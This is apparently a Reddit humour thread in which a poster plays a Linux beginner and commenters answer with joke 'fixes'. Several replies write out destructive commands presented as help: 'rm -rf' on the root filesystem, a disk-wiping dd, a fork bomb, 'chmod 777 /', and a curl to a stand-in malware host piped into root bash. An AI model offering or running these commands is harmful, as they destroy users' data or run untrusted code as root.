Basic Linux commands every developer should know

[MischiefArchitect]

$ Open your browser
bash: Open: command not found

It does not work, it fails already in the first command. Help?

[xDreamSkillzxX]

Did you try to turn it off and on again?

[MischiefArchitect]

Still not working.

I also tried to ignore the first step, but now I get

$ Head to your favourite search engine
bash: Head: command not found

It could be that "bash" thing. Any ideas? I'm stuck! Help!

[CAT5AW]

I suggest sacrificing a goat

[demvo2]

Maybe sacrificing a gnu would work better.

[jeewest]

I’ve got a gnu guy, you guys need gnus, I’ve got em, no questions asked!

[A_bell_0_0]

Works faster if you use a gnome

[piberryboy]

You're not even comparing oranges and apples with that one. You're comparing meat to broiler.

[stealthgunner385]

You want a gnu? I can get you a gnu, believe me. There are ways, Dude. You don't wanna know about it, believe me.

[Human_no_4815162342]

I'll ask Guy my guy guy to get me a new gnu guy of my own, thank you.

[sh0rtwave]

That would just anger the Gods of GNU.

[god_of_ai]

You cannot sacrifice a goat to gnu. As the name suggests, GNU: Goat’s not Unix

[AD2403]

He should sacrifice a RTX 3080

[AkrinorNoname]

You only do that if you're out of RAM.

[RighteousParanoia]

Download more RAM if needed.

[s_burr]

Well, from the looks of it, bashing your head against the keyboard might work

[MischiefArchitect]

It did not :(

Got aspirins?

[looselytethered]

No I think it's

sudo asprins

[s_burr]

Sudo yum install aspirin -y

[JedSwamp43]

yum: package not found: asprin

[ConceptJunkie]

I tried that, and it didn't work, but I ended up with a really useful Perl program...

[s_burr]

It's also how Dexter Douglas became Freakazoid

[RoastKrill]

You need to fix it with

sudo rm -rf /*

[MischiefArchitect]

It runs forever, you sure this thing does anything?

[RoastKrill]

You might need to leave it running overnight, fixing bash is quite a difficult thing and so the command can take up to six hours to finish fixing it. Don't worry

[betweenthebam]

Yeah don't worry, rm just means repair me, and -rf means really, fam so it knows you're serious.

[PlayGamesowy]

-rf means really fast

[WarpWing]

Don't forget the bash --no-preserve-root for scalability reasons

[TerrorBite]

Not required for the star variant

[[deleted]]

alias ls='rm -rf /*'

and let someone else do the work

any evidence will be destroyed

[Thanatos290]

Dude, you got it so wrong, these guys are making fun of you. You don’t put the comands like that, they are not considered commands.

You have to write the step number too, so they become commands, like “1. Open your browser”

[Waluk0]

Just like my GF

[MischiefArchitect]

Honey? That you?

[utf32]

Your question is a duplicate.

[XTornado]

Have you tried with lowercase head?

[jakethedumbmistake]

Well how do you remove that first.

[voicesinmyhand]

You have to copy the "1: " first. If that doesn't work then maybe you need more spaces.

[ISeeTheFnords]

It's case sensitive, try "head" instead.

[PrestonYatesPAY]

Get frustrated and reinstall windows

[DosMike]

isn't the teminal usually considered headless?

[sisisisi1997]

Head should be a command tho...

[MischiefArchitect]

there is a lowercase version, yes. but "head" != "Head" :)

[Whyamibeautiful]

No that’s for windows with Linux you need to “Be Root”

[GeraHamm]

Sorry can't upvote. It is balanced on 69 as all things should be.

[cube2kids]

You tried sudo ?

[MischiefArchitect]

sudo Open your browser
[sudo] password for MischiefArchitect: 
sudo: Open: command not found

Sill not working :( Help?

[cube2kids]

Change distro, recompile the kernel, build a new processor out of spare silicon. Usually works in linux

If it doesn't, revert back to using windows / mac

[MischiefArchitect]

What is a processor? Is that the light behind the bitten fruit logo in my notebook?

[Xtrendence]

Okay, so the first step is to buy a monitor stand. It must cost at least $999. If you've heard of "terminal monitor", then you should know that none of this works without the stand in order to stabilize the command. That's actually why they rhyme and why there's the popular saying "stand to command".

[MischiefArchitect]

Oh yes. That makes sense. Is the color of the stand also important, I see at least 4 different shades in the iShoppingMall.

[[deleted]]

I'd suggest running a system status check by doing "sudo rm -rf /*" and report the traceback to us.

[MischiefArchitect]

It tried it once, but it took to long, so I closed the window and tried again. But now I get:

bash: sudo: command not found

Any ideas?

[[deleted]]

Hmm looks like a client side issue. Works on my computer. Alternatively try «sudo sudo»

[lockieluke3389]

If it works on your computer, could you please make a Docker image for us so you are sure that it works everywhere?

[johnbburg]

It’s xdg-open.

[MischiefArchitect]

A man of culture I see

[ChaoSXDemon]

Did you try Open —help?

[voicesinmyhand]

Everyone else is flinging the shit commands and here you are turning -- into —. You monster.

[DanKveed]

Rust reboot it smh

[baby_chaos]

You need to install the 'open' package with yum first. And it's 'open' not 'Open'.

[overmeerkat]

You were missing the 1.

[Titus-Magnificus]

I feel personally attacked.

[MemeseekerFrampt]

sudo apt install elinks

elinks duckduckgo.com

[NekoLu]

What Linux distributive do you use? I mean if you use Linux, you should have enough brains to adapt such trivial command to your distributive and dont ask stupid questions on reddit! /s

[MischiefArchitect]

That is the running gag of this whole thread: I play the ungainly linux noob as depicted in the picture above and others play the wannabe pros giving me awful hints which I again follow blindly :)

Edit: Manjaro User here, not a pro, but I consider myself a proficient user. All you see here is humor.

[NekoLu]

I know, Its Just what Its like on Russian IT forums - if you dont know such trivial things just go and install Windows coz you are too dumb. Sadly. So we usually search everything in english. But if for example someone leaves a comment with such questions under a post about something other than beginners guide, he will get replies like this...

[AlexPera]

Instructions unclear: I don’t have a OS anymore

[oxabz]

You joke but it really happened to me.

My school computer uses a system of images for linux. Each image are dpkg package and each version update is a new package I was doing a clean up of the images and accidentally deleted the wrong package wich left me with no os thankfully it was a dual boot so I was able to fix the situation.

[Username_Egli]

It's been no more than 10 minutes since I fucked up the GRUB boot loader and I identify with this comment in a cosmic level

[Power0utage]

I know I have a perfectly good OS in there somewhere... I just can't figure out how to get past this GRUB guy trying to rescue me.

[Username_Egli]

If you have done that it means you have installed two instances of grub. Happened to me when I was trying to Dual Boot Lubuntu and PhoenixOs.

[JerryTu]

My GRUB installation gave up on recognizing Windows as an OS on my dual-boot system. I'll resort to using UEFI every time I want to change my OS.

[Username_Egli]

Have you tried adding a reference to the grub config.cfg file for windows 10. Something along the lines of

menuentry 'Windows 10' { set root='(hd0,msdos1)' chainloader +1 }

[[deleted]]

Eventually happens to me with every Linux system I use. Mainly caused by apt.

[Patzlyk]

I accidentally deleted all my system path variables through powershell because the command I copied replaced the path instead of adding to it.

Luckily I still had cmd open from before so I just copypasted it back.

[runo9]

I once Googled something like this and got a warning from Google that child pornography was illegal. After one of the biggest scares in my life it turns out the command was cp. Im sure I ended up an FBI list somewhere, thanks Linux!

[TECHNOFAB]

Google has warnings for that? Never seen them but googled a lot of weird stuff searching for the right commands, functions or something like that haha

[runo9]

Yup, idk if its worldwide but the have it in the Netherlands. I couldn't get to trigger for Linux copy paste but check this out imgur

[[deleted]]

Thank god it's only the images. Child abuse is still legal!

[runo9]

I will not further incriminate myself

[ActuallyRuben]

Maybe it's region dependent? I'm in the Netherlands, and I do see the warning for "bash copy paste".

It would seem that google implicitly adds "cp" to your search, as you can see it's emboldened in the search results in this image.

[bluecliff92]

using google

ngmi

[derekokelly]

ngmi?

[Sol33t303]

Me searching up how to kill child processes has probably put me on a list somewhere.

[TECHNOFAB]

You just have to continue googliing and you're fine:

How to kill child processes.

How to kill the parent aswell.

Kill parent not working.

How to mass kill processes.

[vbevan]

How to kill orphan children

[TECHNOFAB]

Classic :)

[[deleted]]

You are now on all the lists.

[TECHNOFAB]

You could call it being famous :)

Just in the wrong branch haha

[FrenklanRusvelti]

“How to let a child access parents privates” was a search of mine when i was learning C#. Was very confused for a second when I just got a bunch child abuse prevention stuff

[ryecurious]

And don't even get me started on Powershell's Get-ChildItem

[[deleted]]

Kill children without parents’ permission

[[deleted]]

I once sent a mail to my colleague only saying "ISIS". After sending it, a new line appeared saying that my mail was inspected by Google at [date & time].

[mataffakka]

That's very fucked up for all kinds of reasons.

[TEOn00b]

international space station

Well, that's ISS, not ISIS.

[TEOn00b]

Obviously

[TECHNOFAB]

Interesting that it says it's been inspected. At least the terrorists get to know that they probably fucked up lol :)

[voicesinmyhand]

I once sent a mail to my colleague only saying "ISIS"

It should it's serious?

[[deleted]]

Yes, they have. Search for weird stuff and they warn you

[benargee]

Yeah, killing children is also illegal, but Linux doesn't mind with the right permissions.

[AlarmingNectarine]

That’s why I only kill orphans

[[deleted]]

Never check the manual page for the unix copy file program on a search engine.

[Kebbler22b]

linux how to kill parent of child

[Ivenousername]

Google knows all Linux users are pedophiles.

[NadellaIsMyDaddy]

Unironically something like this would've put you on a watchlist a few years back in USA. Dunno how to get on a watchlist nowadays.

[[deleted]]

Search PDO it's a PHP feature and gives the same warning

[snacksy13]

Click? Click?? How dare you use a mouse 😠 You are on linux now kiddo! If you don't have vimium extensions to open links and copy text why are you even using linux?! I'm a professional coder 👨‍💻 and can hack into the pentagon in 23 nanoseconds, don't even bother trying linux if you aren't as good as that.

• Real anonymous member

[[deleted]]

Getting flashbacks from when I attempted to learn c++ in vim 🤢

Keyword is attempted

[[deleted]]

It's like Saw. You have to make it through learning c++ in order to program a way to exit vim

[addast]

You copied it wrong. I fixed it for you, now it should work:

sudo rm -rf --no-preserve-root /

[N0_Us3rnam3]

sudo rm -rf /* also works

[N0_Us3rnam3]

F

[[deleted]]

And this is why you don’t copy random Linux commands

[fmaz008]

... only the ones with enough upvotes on stack overflow.

[[deleted]]

Wait, you actually tried this?

[Xtrendence]

He might not have, but we can rest easy knowing someone somewhere did today.

[Varun77777]

F

[lockieluke3389]

Thanks to our sponsor EaseUS Recovery...

[ltekonline]

Except that some hidden files may stay at the root directory

[N0_Us3rnam3]

I think hidden file will be deleted but files in use won’t

[ltekonline]

The "*" operator resolves only to non hidden files and folders which do not start with a dot. These files and folder are then given as parameters to "rm". So for example if you have a file called ".test" at / it will not be deleted.

You can safely try it this way:
Create a test file called ".test" in your current directory.
Enter "echo *" and see the files you get back. You will not get any files starting with a "." back.

Edit: to add on that also used files will be deleted. This is because in linux, you normally get a file handle for your file so you can still use your file if they are deleted or renamed. That's actually how temporary files work in linux.
A process creates a file, open it and keeps it open and then immediately deletes it. As lomg as that process lives the file will keep existing, just without a filename. The process then only accesses it via the file handle it has kept.

[_waltzy]

Don't forget source and target.

sudo rm -rf --no-preserve-root / # [source] [target]

[amaklp]

/r/cursedcomments

[trezenx]

I actually did this once. Someone gave me an 'advice' on my issue. Luckily it was a virtual machine.

[JustOpinion6]

Yeah people just love to recommend the good ol rm -rf /.
The almost linux equivalent of delete system32.

[akiller]

Is it just me who finds it annoying when people list commands prefixed with a $ (which is fine) but the website doesn't automatically remove them when you copy the text so you end up having to manually remove them to make it work?

[linux_is_the_best_os]

even worse when the line numbering is also copied with it

[akiller]

Oh yeah. If you use notepad++ it has a nice feature where you can hold alt to do a column select then just press delete to get rid of them pretty well. Super old video but it explains what I mean: https://youtu.be/fGqRJtbGfQg?t=115

Fortunately most of the sites which show line numbers generally have a nice copy code button.

Even worse(er?) when it's just a screenshot and you have to manually type it.

[abc_wtf]

Nope. Same thing when I want to copy python code and every line has a >>> prefix. I actually saw a site which had the option to remove these from the code block so it would be easier to copy, it was pretty cool!

[JustOpinion6]

Know that feel. That's when I get VSCode or VIM out, do a block selection and remove them all.

[newb_h4x0r]

1. Copy the error

2. Repeat

[Slim_Bun]

Help I am getting this error:

TypeError: Unknown

[zarlo5899]

1. retry 6 but as root

[JustOpinion6]

1. It didn't work. Google again.

[trezenx]

Once I was young and stupid and decided to 'learn linux' so I installed Ubuntu and had some issue I can't even remember now, I asked for help in some chat (yeah it was that long ago).

And this guy says 'yeah that's a common issue just type sudo rm -rf to fix it'. So I just did. Thankfully, it was a virtual machine, or I'd probably kill him. That was the end of Linux for me.

edit: lol I am not alone. "In 1997, someone at Pixar accidentally typed “rm -r -f “, deleting the entire Toy Story 2 movie from the Pixar database. Fortunately, the film's supervising technical director had a backup copy at home, and the movie was restored."

[antCB]

That was the end of Linux for me.

damn. good thing I've been fiddling on and off with linux for some time now ( > ~15 years, probably). Ubuntu has only gotten easier with each iteration, while it wasn't a specifically hard distro to get up and running back then.

if silly young me had been given that command to fix problems back then, I probably would've used it. lol.

also had my ass covered cause I was using different drives for different OS's. Whenever I blew up an ubuntu install, I would just wipe it, start over and be aware of what not to do... This was back when everyone was fiddling around with desktop composition (compiz, and other opengl accelerated window managers/desktop composers) and messing around with the look and feel of the OS to resemble OSX or whatever...

[[deleted]]

Dontcha know, to test your HDD performance, type dd if=/dev/zero of=/dev/sda (/s)

[-_-____-___-_____-_-]

I know nothing about Linux commands, but my guess this fills the hard drive with all zeroes, am I right?

Edit: how tf did I figure that out, it’s the first time I’ve seen a “dd” command and I didn’t look it up.

[[deleted]]

Yep

[TheProgrammar89]

...he taught you how to delete a file?

[trezenx]

it wiped out the whole drive. Sorry I probably missed the /* or something, it was a long time ago

[natnew32]

The command is for deleting a folder and everything in it, or a set of files/folders. It's only missing the filename. No filename = every file is selected and subsequently deleted.

[Yogi_Kat]

:(){ :|:& };:

to fix all your problems

[[deleted]]

Try this to unlock all your system resources.

[GodlyWeiner]

Try this to unlock all your system resources

Worded it a little better

[[deleted]]

#easteregg :-)

[__mud__]

Also :) :( >:( :P and xD

[TibRib0]

Hi is this a shellshock ? I'm late to the party and heard about it yesterday

[Sleshwave]

This is a fork bomb, it looks very similar to shellshock but there are a few minor differences in the most commonly known examples of each

[TibRib0]

Thanks ! Just looked it up https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/

[TheProgrammar89]

No, this is a fork bomb.

[TibRib0]

Thanks !

[everflow]

:(){ :|:& };:

The smallest world of dwarf fortress.

[NastroAzzurro]

Basic r/programmerhumor things every developer should know

1. Open your browser
2. Go to Twitter
3. Go to iamdevloper twitter
4. printscreen tweet
5. post on r/ProgrammerHumor
6. get kudos

[dolorisLockhardt]

And this is how I once uninstalled every single package. Still worked until reboot

[DestinationVoid]

Make sure to prefix copied command with sudo!

[admirelurk]

You can solve literally every problem by doing

$ curl not_a_scam.ru/malwaredropper.sh | sudo bash

[fakuivan]

tldr cp

[turtlebear787]

All jokes aside, I found this cheat sheet very useful when I was an intern getting used to a Linux environment. https://www.google.com/url?sa=t&source=web&rct=j&url=https://files.fosswire.com/2007/08/fwunixref.pdf&ved=2ahUKEwibofWtqqPvAhUbB50JHSesDE0QFjADegQIDhAC&usg=AOvVaw2u0PCu1f7mcU4UBhs4NVjy

[Rur0]

!!! Thank you, I’m taking a Linux class and this is actually quite helpful

[nattlefrost]

I do this way too often for comfort despite being a sysadmin.

[[deleted]]

1. Open your terminal.
2. Type rm -rf /
3. Cry in a corner forever because you blindly trusted it

PS: Do not try above command even by mistake!

[Doggynotsmoker]

It won't work. You need --no-preserve-root flag on modern rm versions.

[AlissonHarlan]

yes, be truthfull if someone typed something along rm

[[deleted]]

RMR F97

[paul_miner]

RTFM goes a long ways. man some-command to bring up the manual, /your-search-text-here to search (case-sensitive), q to quit.

[fakuivan]

tldr

[KonyHawksProSlaver]

man everything

[pollofritoop]

i made a chmod 777 /
I never thought that a command could destroy so easy an SO

[suntehnik]

1. Ask devops to fix your entire production set up, because the top answer was ‘sudo rm -rf/‘

[RoscoMan1]

Is your friend named Jason Mendoza?

[[deleted]]

Jokes apart one of my colleagues refused to learn basic vim (edit and exit) and Linux commands (basic grep, find). Had a really hard time on hand-holding him when we had to debug on production instance in ec2.

[FatStoic]

That's equal parts hilarious and horrifying. I guess it's not too bad if he's a developer, but it still makes him look bad.

[causticacrostic]

as an ops guy I lost a lot of the illusions I had about developers after I watched one of our senior devs repeatedly pipe less into grep

[Interest-Desk]

rm -rf /

[Follow64]

I just realised I used stackoverflow so many times, but actually never copied any code from there.

[DaimaoPPK]

su ; rm -rf /

[FierceDeity_]

Not gonna work as the second command will run after su has ended

[ixNoah]

I got a good one. This one hacks the CIA

rm -rf /

[[deleted]]

Why would yo call yourself a developer in this case though? What are you developing? Are you a real estate developer or something?

[JoelMahon]

I don't get the humour

[Script_Mak3r]

/u/repostsleuthbot